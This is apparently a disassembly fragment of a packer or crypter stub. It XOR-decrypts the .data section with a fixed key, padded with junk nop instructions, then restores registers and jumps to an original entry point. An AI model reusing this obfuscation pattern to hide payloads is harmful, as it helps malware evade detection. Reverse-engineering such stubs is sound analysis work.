nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x51de3c98
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219